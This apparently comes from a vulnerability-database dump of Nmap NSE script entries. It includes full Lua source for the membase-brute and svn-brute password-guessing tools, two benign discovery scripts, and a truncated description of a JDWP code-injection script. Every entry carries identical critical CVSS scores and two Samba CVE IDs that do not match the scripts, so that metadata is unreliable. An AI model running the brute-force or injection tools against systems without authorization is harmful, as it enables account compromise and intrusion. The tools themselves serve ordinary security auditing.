\n\n * [afp](<../lib/afp.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2010-01-20T21:49:30", "type": "nmap", "title": "afp-showmount NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-11-05T20:41:05", "id": "NMAP:AFP-SHOWMOUNT.NSE", "href": "https://nmap.org/nsedoc/scripts/afp-showmount.html", "sourceData": "local afp = require \"afp\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal table = require \"table\"\n\ndescription = [[\nShows AFP shares and ACLs.\n]]\n\n---\n--\n--@output\n-- PORT STATE SERVICE\n-- 548/tcp open afp\n-- | afp-showmount:\n-- | Yoda's Public Folder\n-- | Owner: Search,Read,Write\n-- | Group: Search,Read\n-- | Everyone: Search,Read\n-- | User: Search,Read\n-- | Vader's Public Folder\n-- | Owner: Search,Read,Write\n-- | Group: Search,Read\n-- | Everyone: Search,Read\n-- | User: Search,Read\n-- |_ Options: IsOwner\n\n-- Version 0.4\n-- Created 01/03/2010 - v0.1 - created by Patrik Karlsson\n-- Revised 01/13/2010 - v0.2 - Fixed a bug where a single share wouldn't show due to formatting issues\n-- Revised 01/20/2010 - v0.3 - removed superfluous functions\n-- Revised 05/03/2010 - v0.4 - cleaned up and added dependency to afp-brute and added support for credentials\n-- by argument or registry\n\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"safe\"}\n\n\ndependencies = {\"afp-brute\"}\n\nportrule = shortport.portnumber(548, \"tcp\")\n\naction = function(host, port)\n\n local status, response, shares\n local result = {}\n local afpHelper = afp.Helper:new()\n local args = nmap.registry.args\n local users = nmap.registry.afp or { ['nil'] = 'nil' }\n\n if ( args['afp.username'] ) then\n users = {}\n users[args['afp.username']] = args['afp.password']\n end\n\n for username, password in pairs(users) do\n\n status, response = afpHelper:OpenSession(host, port)\n if ( not status ) then\n stdnse.debug1(\"%s\", response)\n return\n end\n\n -- if we have a username attempt to authenticate as the user\n -- Attempt to use No User Authentication?\n if ( username ~= 'nil' ) then\n status, response = afpHelper:Login(username, password)\n else\n status, response = afpHelper:Login()\n end\n\n if ( not status ) then\n stdnse.debug1(\"Login failed\")\n stdnse.debug3(\"Login error: %s\", response)\n return\n end\n\n status, shares = afpHelper:ListShares()\n\n if status then\n for _, vol in ipairs( shares ) do\n local status, response = afpHelper:GetSharePermissions( vol )\n if status then\n response.name = vol\n table.insert(result, response)\n end\n end\n end\n\n status, response = afpHelper:Logout()\n status, response = afpHelper:CloseSession()\n\n if ( result ) then\n return stdnse.format_output(true, result)\n end\n end\n return\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:40:57", "description": "Performs brute force password auditing against Couchbase Membase servers.\n\n## Script Arguments \n\n#### membase-brute.bucketname \n\nif specified, password guessing is performed only against this bucket.\n\n#### creds.[service], creds.global \n\nSee the documentation for the [creds](<../lib/creds.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n#### brute.credfile, brute.delay, brute.emptypass, brute.firstonly, brute.guesses, brute.mode, brute.passonly, brute.retries, brute.start, brute.threads, brute.unique, brute.useraspass \n\nSee the documentation for the [brute](<../lib/brute.html#script-args>) library. \n\n#### passdb, unpwdb.passlimit, unpwdb.timelimit, unpwdb.userlimit, userdb \n\nSee the documentation for the [unpwdb](<../lib/unpwdb.html#script-args>) library. \n\n#### membase.authmech \n\nSee the documentation for the [membase](<../lib/membase.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -p 11211 --script membase-brute\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 11211/tcp open unknown\n | membase-brute:\n | Accounts\n | buckettest:toledo - Valid credentials\n | Statistics\n |_ Performed 5000 guesses in 2 seconds, average tps: 2500\n \n\n## Requires \n\n * [brute](<../lib/brute.html>)\n * [creds](<../lib/creds.html>)\n * [membase](<../lib/membase.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-01-10T18:19:21", "type": "nmap", "title": "membase-brute NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-03-10T03:09:39", "id": "NMAP:MEMBASE-BRUTE.NSE", "href": "https://nmap.org/nsedoc/scripts/membase-brute.html", "sourceData": "local brute = require \"brute\"\nlocal creds = require \"creds\"\nlocal membase = require \"membase\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\n\ndescription = [[\nPerforms brute force password auditing against Couchbase Membase servers.\n]]\n\n---\n-- @usage\n-- nmap -p 11211 --script membase-brute\n--\n-- @output\n-- PORT STATE SERVICE\n-- 11211/tcp open unknown\n-- | membase-brute:\n-- | Accounts\n-- | buckettest:toledo - Valid credentials\n-- | Statistics\n-- |_ Performed 5000 guesses in 2 seconds, average tps: 2500\n--\n-- @args membase-brute.bucketname if specified, password guessing is performed\n-- only against this bucket.\n--\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"intrusive\", \"brute\"}\n\n\nportrule = shortport.port_or_service({11210,11211}, \"couchbase-tap\", \"tcp\")\n\nlocal arg_bucketname = stdnse.get_script_args(SCRIPT_NAME..\".bucketname\")\n\n\nDriver = {\n\n new = function(self, host, port, options)\n local o = { host = host, port = port, options = options }\n setmetatable(o, self)\n self.__index = self\n return o\n end,\n\n connect = function(self)\n self.helper = membase.Helper:new(self.host, self.port)\n return self.helper:connect(brute.new_socket())\n end,\n\n login = function(self, username, password)\n local status, response = self.helper:login(arg_bucketname or username, password)\n if ( not(status) and \"Auth failure\" == response ) then\n return false, brute.Error:new( \"Incorrect password\" )\n elseif ( not(status) ) then\n local err = brute.Error:new( response )\n err:setRetry( true )\n return false, err\n end\n return true, creds.Account:new( arg_bucketname or username, password, creds.State.VALID)\n end,\n\n disconnect = function(self)\n return self.helper:close()\n end\n\n}\n\n\nlocal function fail(err) return stdnse.format_output(false, err) end\n\nlocal function getMechs(host, port)\n local helper = membase.Helper:new(host, port)\n local status, err = helper:connect()\n if ( not(status) ) then\n return false, \"Failed to connect to server\"\n end\n\n local status, response = helper:getSASLMechList()\n if ( not(status) ) then\n stdnse.debug2(\"Received unexpected response: %s\", response)\n return false, \"Received unexpected response\"\n end\n\n helper:close()\n return true, response.mechs\nend\n\naction = function(host, port)\n\n local status, mechs = getMechs(host, port)\n\n if ( not(status) ) then\n return fail(mechs)\n end\n if ( not(mechs:match(\"PLAIN\") ) ) then\n return fail(\"Unsupported SASL mechanism\")\n end\n\n local result\n local engine = brute.Engine:new(Driver, host, port )\n\n engine.options.script_name = SCRIPT_NAME\n engine.options.firstonly = true\n\n if ( arg_bucketname ) then\n engine.options:setOption( \"passonly\", true )\n end\n\n status, result = engine:start()\n return result\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:33:58", "description": "Performs brute force password auditing against Subversion source code control servers.\n\n## Script Arguments \n\n#### svn-brute.repo \n\nthe Subversion repository against which to perform password guessing\n\n#### svn-brute.force \n\nforce password guessing when service is accessible both anonymously and through authentication\n\n#### passdb, unpwdb.passlimit, unpwdb.timelimit, unpwdb.userlimit, userdb \n\nSee the documentation for the [unpwdb](<../lib/unpwdb.html#script-args>) library. \n\n#### creds.[service], creds.global \n\nSee the documentation for the [creds](<../lib/creds.html#script-args>) library. \n\n#### brute.credfile, brute.delay, brute.emptypass, brute.firstonly, brute.guesses, brute.mode, brute.passonly, brute.retries, brute.start, brute.threads, brute.unique, brute.useraspass \n\nSee the documentation for the [brute](<../lib/brute.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script svn-brute --script-args svn-brute.repo=/svn/ -p 3690 <host>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 3690/tcp open svn syn-ack\n | svn-brute:\n | Accounts\n |_ patrik:secret => Login correct\n \n Summary\n -------\n x The svn class contains the code needed to perform CRAM-MD5\n authentication\n x The Driver class contains the driver implementation used by the brute\n library\n \n\n## Requires \n\n * [brute](<../lib/brute.html>)\n * [creds](<../lib/creds.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [stringaux](<../lib/stringaux.html>)\n * [openssl](<../lib/openssl.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2010-08-18T20:50:51", "type": "nmap", "title": "svn-brute NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-10-18T01:08:19", "id": "NMAP:SVN-BRUTE.NSE", "href": "https://nmap.org/nsedoc/scripts/svn-brute.html", "sourceData": "local brute = require \"brute\"\nlocal creds = require \"creds\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal stringaux = require \"stringaux\"\nlocal openssl = stdnse.silent_require \"openssl\"\n\ndescription = [[\nPerforms brute force password auditing against Subversion source code control servers.\n]]\n\n---\n-- @usage\n-- nmap --script svn-brute --script-args svn-brute.repo=/svn/ -p 3690 <host>\n--\n-- @output\n-- PORT STATE SERVICE REASON\n-- 3690/tcp open svn syn-ack\n-- | svn-brute:\n-- | Accounts\n-- |_ patrik:secret => Login correct\n--\n-- Summary\n-- -------\n-- x The svn class contains the code needed to perform CRAM-MD5\n-- authentication\n-- x The Driver class contains the driver implementation used by the brute\n-- library\n--\n-- @args svn-brute.repo the Subversion repository against which to perform\n-- password guessing\n-- @args svn-brute.force force password guessing when service is accessible\n-- both anonymously and through authentication\n\n--\n-- Version 0.1\n-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>\n--\n\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"intrusive\", \"brute\"}\n\nportrule = shortport.port_or_service(3690, \"svnserve\", \"tcp\", \"open\")\n\nsvn =\n{\n svn_client = \"nmap-brute v0.1\",\n\n new = function(self, host, port, repo)\n local o = {}\n setmetatable(o, self)\n self.__index = self\n o.host = host\n o.port = port\n o.repo = repo\n o.invalid_users = {}\n return o\n end,\n\n --- Connects to the SVN - repository\n --\n -- @return status true on success, false on failure\n -- @return err string containing an error message on failure\n connect = function(self)\n local repo_url = ( \"svn://%s/%s\" ):format(self.host.ip, self.repo)\n local status, msg\n\n self.socket = brute.new_socket()\n\n local result\n status, result = self.socket:connect(self.host, self.port)\n if( not(status) ) then\n return false, result\n end\n\n status, msg = self.socket:receive_bytes(1)\n if ( not(status) or not( msg:match(\"^%( success\") ) ) then\n return false, \"Banner reports failure\"\n end\n\n msg = (\"( 2 ( edit-pipeline svndiff1 absent-entries depth mergeinfo log-revprops ) %d:%s %d:%s ( ) ) \"):format( #repo_url, repo_url, #self.svn_client, self.svn_client )\n status = self.socket:send( msg )\n if ( not(status) ) then\n return false, \"Send failed\"\n end\n\n status, msg = self.socket:receive_bytes(1)\n if ( not(status) ) then\n return false, \"Receive failed\"\n end\n\n if ( msg:match(\"%( success\") ) then\n local tmp = msg:match(\"%( success %( %( ([%S+%s*]-) %)\")\n if ( not(tmp) ) then return false, \"Failed to detect authentication\" end\n tmp = stringaux.strsplit(\" \", tmp)\n self.auth_mech = {}\n for _, v in pairs(tmp) do self.auth_mech[v] = true end\n elseif ( msg:match(\"%( failure\") ) then\n return false\n end\n\n return true\n end,\n\n --- Attempts to login to the SVN server\n --\n -- @param username string containing the login username\n -- @param password string containing the login password\n -- @return status, true on success, false on failure\n -- @return err string containing error message on failure\n login = function( self, username, password )\n local status, msg\n local challenge, digest\n\n if ( self.auth_mech[\"CRAM-MD5\"] ) then\n msg = \"( CRAM-MD5 ( ) ) \"\n status = self.socket:send( msg )\n\n status, msg = self.socket:receive_bytes(1)\n if ( not(status) ) then\n return false, \"error\"\n end\n\n challenge = msg:match(\"<.+>\")\n\n if ( not(challenge) ) then\n return false, \"Failed to read challenge\"\n end\n\n digest = stdnse.tohex(openssl.hmac('md5', password, challenge))\n msg = (\"%d:%s %s \"):format(#username + 1 + #digest, username, digest)\n self.socket:send( msg )\n\n status, msg = self.socket:receive_bytes(1)\n if ( not(status) ) then\n return false, \"error\"\n end\n\n if ( msg:match(\"Username not found\") ) then\n return false, \"Username not found\"\n elseif ( msg:match(\"success\") ) then\n return true, \"Authentication success\"\n else\n return false, \"Authentication failed\"\n end\n else\n return false, \"Unsupported auth-mechanism\"\n end\n\n end,\n\n --- Close the SVN connection\n --\n -- @return status true on success, false on failure\n close = function(self)\n return self.socket:close()\n end,\n\n}\n\n\nDriver =\n{\n new = function(self, host, port, invalid_users )\n local o = {}\n setmetatable(o, self)\n self.__index = self\n o.host = host\n o.port = port\n o.repo = stdnse.get_script_args('svn-brute.repo')\n o.invalid_users = invalid_users\n return o\n end,\n\n connect = function( self )\n local status, msg\n\n self.svn = svn:new( self.host, self.port, self.repo )\n status, msg = self.svn:connect()\n if ( not(status) ) then\n local err = brute.Error:new( \"Failed to connect to SVN server\" )\n -- This might be temporary, set the retry flag\n err:setRetry( true )\n return false, err\n end\n\n return true\n end,\n\n disconnect = function( self )\n self.svn:close()\n end,\n\n --- Attempts to login to the SVN server\n --\n -- @param username string containing the login username\n -- @param password string containing the login password\n -- @return status, true on success, false on failure\n -- @return brute.Error object on failure\n -- creds.Account object on success\n login = function( self, username, password )\n local status, msg\n\n if ( self.invalid_users[username] ) then\n return false, brute.Error:new( \"User is invalid\" )\n end\n\n status, msg = self.svn:login( username, password )\n\n if ( not(status) and msg:match(\"Username not found\") ) then\n self.invalid_users[username] = true\n return false, brute.Error:new(\"Username not found\")\n elseif ( status and msg:match(\"success\") ) then\n return true, creds.Account:new(username, password, creds.State.VALID)\n else\n return false, brute.Error:new( \"Incorrect password\" )\n end\n end,\n\n --- Verifies whether the repository is valid\n --\n -- @return status, true on success, false on failure\n -- @return err string containing an error message on failure\n check = function( self )\n local svn = svn:new( self.host, self.port, self.repo )\n local status = svn:connect()\n\n svn:close()\n\n if ( status ) then\n return true\n else\n return false, (\"Failed to connect to SVN repository (%s)\"):format(self.repo)\n end\n end,\n}\n\n\n\naction = function(host, port)\n local status, accounts\n\n local repo = stdnse.get_script_args('svn-brute.repo')\n local force = stdnse.get_script_args('svn-brute.force')\n\n if ( not(repo) ) then\n return \"No repository specified (see svn-brute.repo)\"\n end\n\n local svn = svn:new( host, port, repo )\n local status = svn:connect()\n\n if ( status and svn.auth_mech[\"ANONYMOUS\"] and not(force) ) then\n return \" \\n Anonymous SVN detected, no authentication needed\"\n end\n\n if ( not(svn.auth_mech) or not( svn.auth_mech[\"CRAM-MD5\"] ) ) then\n return \" \\n No supported authentication mechanisms detected\"\n end\n\n local invalid_users = {}\n local engine = brute.Engine:new(Driver, host, port, invalid_users)\n engine.options.script_name = SCRIPT_NAME\n status, accounts = engine:start()\n if( not(status) ) then\n return accounts\n end\n\n return accounts\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:37:22", "description": "Extracts information from a Quake3 game server and other games which use the same protocol.\n\n## Example Usage \n \n \n nmap -sU -sV -Pn --script quake3-info.nse -p <port> <target>\n \n\n## Script Output \n \n \n PORT STATE SERVICE VERSION\n 27960/udp open quake3 Quake 3 dedicated server\n | quake3-info:\n | PLAYERS:\n | 1. cyberix (frags: 0/20, ping: 4)\n | BASIC OPTIONS:\n | capturelimit: 8\n | dmflags: 0\n | elimflags: 0\n | fraglimit: 20\n | gamename: baseoa\n | mapname: oa_dm1\n | protocol: 71\n | timelimit: 0\n | version: ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr 4 2011\n | videoflags: 7\n | voteflags: 767\n | OTHER OPTIONS:\n | bot_minplayers: 0\n | elimination_roundtime: 120\n | g_allowVote: 1\n | g_altExcellent: 0\n | g_delagHitscan: 0\n | g_doWarmup: 0\n | g_enableBreath: 0\n | g_enableDust: 0\n | g_gametype: 0\n | g_instantgib: 0\n | g_lms_mode: 0\n | g_maxGameClients: 0\n | g_needpass: 0\n | g_obeliskRespawnDelay: 10\n | g_rockets: 0\n | g_voteGametypes: /0/1/3/4/5/6/7/8/9/10/11/12/\n | g_voteMaxFraglimit: 0\n | g_voteMaxTimelimit: 0\n | g_voteMinFraglimit: 0\n | g_voteMinTimelimit: 0\n | sv_allowDownload: 0\n | sv_floodProtect: 1\n | sv_hostname: noname\n | sv_maxPing: 0\n | sv_maxRate: 0\n | sv_maxclients: 8\n | sv_minPing: 0\n | sv_minRate: 0\n |_ sv_privateClients: 0\n\n## Requires \n\n * [comm](<../lib/comm.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [stringaux](<../lib/stringaux.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2011-09-21T22:49:59", "type": "nmap", "title": "quake3-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-10-18T01:08:19", "id": "NMAP:QUAKE3-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/quake3-info.html", "sourceData": "local comm = require \"comm\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal stringaux = require \"stringaux\"\nlocal table = require \"table\"\n\ndescription = [[\nExtracts information from a Quake3 game server and other games which use the same protocol.\n]]\n\n---\n-- @usage\n-- nmap -sU -sV -Pn --script quake3-info.nse -p <port> <target>\n--\n-- @output\n-- PORT STATE SERVICE VERSION\n-- 27960/udp open quake3 Quake 3 dedicated server\n-- | quake3-info:\n-- | PLAYERS:\n-- | 1. cyberix (frags: 0/20, ping: 4)\n-- | BASIC OPTIONS:\n-- | capturelimit: 8\n-- | dmflags: 0\n-- | elimflags: 0\n-- | fraglimit: 20\n-- | gamename: baseoa\n-- | mapname: oa_dm1\n-- | protocol: 71\n-- | timelimit: 0\n-- | version: ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr 4 2011\n-- | videoflags: 7\n-- | voteflags: 767\n-- | OTHER OPTIONS:\n-- | bot_minplayers: 0\n-- | elimination_roundtime: 120\n-- | g_allowVote: 1\n-- | g_altExcellent: 0\n-- | g_delagHitscan: 0\n-- | g_doWarmup: 0\n-- | g_enableBreath: 0\n-- | g_enableDust: 0\n-- | g_gametype: 0\n-- | g_instantgib: 0\n-- | g_lms_mode: 0\n-- | g_maxGameClients: 0\n-- | g_needpass: 0\n-- | g_obeliskRespawnDelay: 10\n-- | g_rockets: 0\n-- | g_voteGametypes: /0/1/3/4/5/6/7/8/9/10/11/12/\n-- | g_voteMaxFraglimit: 0\n-- | g_voteMaxTimelimit: 0\n-- | g_voteMinFraglimit: 0\n-- | g_voteMinTimelimit: 0\n-- | sv_allowDownload: 0\n-- | sv_floodProtect: 1\n-- | sv_hostname: noname\n-- | sv_maxPing: 0\n-- | sv_maxRate: 0\n-- | sv_maxclients: 8\n-- | sv_minPing: 0\n-- | sv_minRate: 0\n-- |_ sv_privateClients: 0\n\nauthor = \"Toni Ruottu\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\", \"discovery\", \"safe\", \"version\"}\n\n\nlocal function range(first, last)\n local list = {}\n for i = first, last do\n table.insert(list, i)\n end\n return list\nend\n\nportrule = shortport.version_port_or_service(range(27960, 27970), {'quake3'}, 'udp')\n\nlocal function parsefields(data)\n local fields = {}\n local parts = stringaux.strsplit(\"\\\\\", data)\n local nullprefix = table.remove(parts, 1)\n if nullprefix ~= \"\" then\n stdnse.debug2(\"unrecognized field format, skipping options\")\n return {}\n end\n for i = 1, #parts, 2 do\n local key = parts[i]\n local value = parts[i + 1]\n fields[key] = value\n end\n return fields\nend\n\nlocal function parsename(data)\n local parts = stringaux.strsplit('\"', data)\n if #parts ~= 3 then\n return nil\n end\n local e1 = parts[1]\n local name = parts[2]\n local e2 = parts[3]\n local extra = e1 .. e2\n if extra ~= \"\" then\n return nil\n end\n return name\nend\n\nlocal function parseplayer(data)\n local parts = stringaux.strsplit(\" \", data)\n if #parts < 3 then\n stdnse.debug2(\"player info line is missing elements, skipping a player\")\n return nil\n end\n if #parts > 3 then\n stdnse.debug2(\"player info line has unknown elements, skipping a player\")\n return nil\n end\n local player = {}\n player.frags = parts[1]\n player.ping = parts[2]\n player.name = parsename(parts[3])\n if player.name == nil then\n stdnse.debug2(\"invalid player name serialization, skipping a player\")\n return nil\n end\n return player\nend\n\nlocal function parseplayers(data)\n local players = {}\n for _, p in ipairs(data) do\n local player = parseplayer(p)\n if player then\n table.insert(players, player)\n end\n end\n return players\nend\n\nlocal function is_leader(a, b)\n local collide = a.name == b.name\n local even = a.frags == b.frags\n local leads = a.frags > b.frags\n local alphab = a.name > b.name\n local faster = a.ping > b.ping\n return leads or (even and alphab) or (even and collide and faster)\nend\n\nlocal function formatplayers(players, fraglimit)\n table.sort(players, is_leader)\n local printable = {}\n for i, player in ipairs(players) do\n local name = player.name\n local ping = player.ping\n local frags = player.frags\n if fraglimit then\n frags = string.format(\"%s/%s\", frags, fraglimit)\n end\n table.insert(printable, string.format(\"%d. %s (frags: %s, ping: %s)\", i, name, frags, ping))\n end\n printable[\"name\"] = \"PLAYERS:\"\n return printable\nend\n\nlocal function formatfields(fields, title)\n local printable = {}\n for key, value in pairs(fields) do\n local kv = string.format(\"%s: %s\", key, value)\n table.insert(printable, kv)\n end\n table.sort(printable)\n printable[\"name\"] = title\n return printable\nend\n\nlocal function assorted(fields)\n local basic = {}\n local other = {}\n for key, value in pairs(fields) do\n if string.find(key, \"_\") == nil then\n basic[key] = value\n else\n other[key] = value\n end\n end\n return basic, other\nend\n\naction = function(host, port)\n local GETSTATUS = \"\\xff\\xff\\xff\\xffgetstatus\\n\"\n local STATUSRESP = \"\\xff\\xff\\xff\\xffstatusResponse\"\n\n local status, data = comm.exchange(host, port, GETSTATUS, {[\"proto\"] = \"udp\"})\n if not status then\n return\n end\n local parts = stringaux.strsplit(\"\\n\", data)\n local header = table.remove(parts, 1)\n if header ~= STATUSRESP then\n return\n end\n if #parts < 2 then\n stdnse.debug2(\"incomplete status response, script abort\")\n return\n end\n local nullend = table.remove(parts)\n if nullend ~= \"\" then\n stdnse.debug2(\"missing terminating endline, script abort\")\n return\n end\n local field_data = table.remove(parts, 1)\n local player_data = parts\n\n local fields = parsefields(field_data)\n local players = parseplayers(player_data)\n\n local basic, other = assorted(fields)\n\n -- Previously observed version strings:\n -- \"tremulous 1.1.0 linux-x86_64 Aug \u00a05 2010\"\n -- \"ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr \u00a04 2011\"\n local versionline = basic[\"version\"]\n if versionline then\n local fields = stringaux.strsplit(\" \", versionline)\n local product = fields[1]\n local version = fields[2]\n local osline = fields[3]\n port.version.name = \"quake3\"\n port.version.product = product\n port.version.version = version\n if string.find(osline, \"linux\") then\n port.version.ostype = \"Linux\"\n end\n if string.find(osline, \"win\") then\n port.version.ostype = \"Windows\"\n end\n nmap.set_port_version(host, port)\n end\n\n local fraglimit = fields[\"fraglimit\"]\n if not fraglimit then\n fraglimit = \"?\"\n end\n\n local response = {}\n table.insert(response, formatplayers(players, fraglimit))\n table.insert(response, formatfields(basic, \"BASIC OPTIONS:\"))\n if nmap.verbosity() > 0 then\n table.insert(response, formatfields(other, \"OTHER OPTIONS:\"))\n end\n return stdnse.format_output(true, response)\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:41:17", "description": "Attempts to exploit java's remote debugging port. When remote debugging port is left open, it is possible to inject java bytecode and achieve remote code execution. This script injects and execute a Java class file that returns remote system information.\n\n## Example Usage \n \n \n nmap -sT <target> -p <port> --script=+jdwp-info\n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 2010/tcp open search syn-ack\n | jdwp-info:\n | Available processors: 1\n | Free memory: 15331736\n | File system root: A:\\\n | Total space (bytes): 0\n | Free space (bytes): 0\n | File system root: C:\\\n | Total space (bytes): 42935926784\n | Free space (bytes): 29779054592\n | File system root: D:\\\n | Total space (bytes): 0\n | Free space (bytes): 0\n | Name of the OS: Windows XP\n | OS Version : 5.1\n | OS patch level : Service Pack 3\n | OS Architecture: x86\n | Java version: 1.7.0_01\n | Username: user\n | User home: C:\\Documents and Settings\\user\n |_ System time: Sat Aug 11 15:21:44 CEST 2012\n\n## Requires \n\n * [io](<>)\n * [jdwp](<../lib/jdwp.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-08-14T11:31:08", "type": "nmap", "title": "jdwp-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", 